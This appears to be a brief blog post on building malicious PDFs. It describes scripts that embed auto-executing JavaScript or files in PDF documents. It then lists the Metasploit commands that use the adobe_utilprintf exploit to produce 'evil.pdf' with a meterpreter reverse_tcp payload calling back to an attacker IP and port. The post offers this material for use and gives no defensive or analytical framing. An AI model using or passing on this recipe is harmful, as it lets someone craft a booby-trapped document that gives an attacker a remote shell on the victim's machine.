Fun with PDF

Make-PDF-Javascript.py :  
This Python script allows to generate a PDF document with  JavaScript embedded . This JavaScript will be executed upon opening of the PDF document 🙂
Options to use (when providing your own JavaScript):
–javascript for a script on the command line
                  –javascriptfile for a script contained in a file
                    without options, it will generate a PDF document with JavaScript to display a message box (calling app.alert).
Link to Download

Make-PDF-Embedded.py :
Creates a PDF file with an embedded file.
Checkout the useful options in terminal when you run file .
Link to Download

MetaSploit :
msfconsole
msf> use exploit/windows/fileformat/adobe_utilprintf
set FILENAME evil.pdf
set payload windows/meterpreter/reverse_tcp
set LHOST <your_attacker_IP>
set LPORT <4444>
exploit

 

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s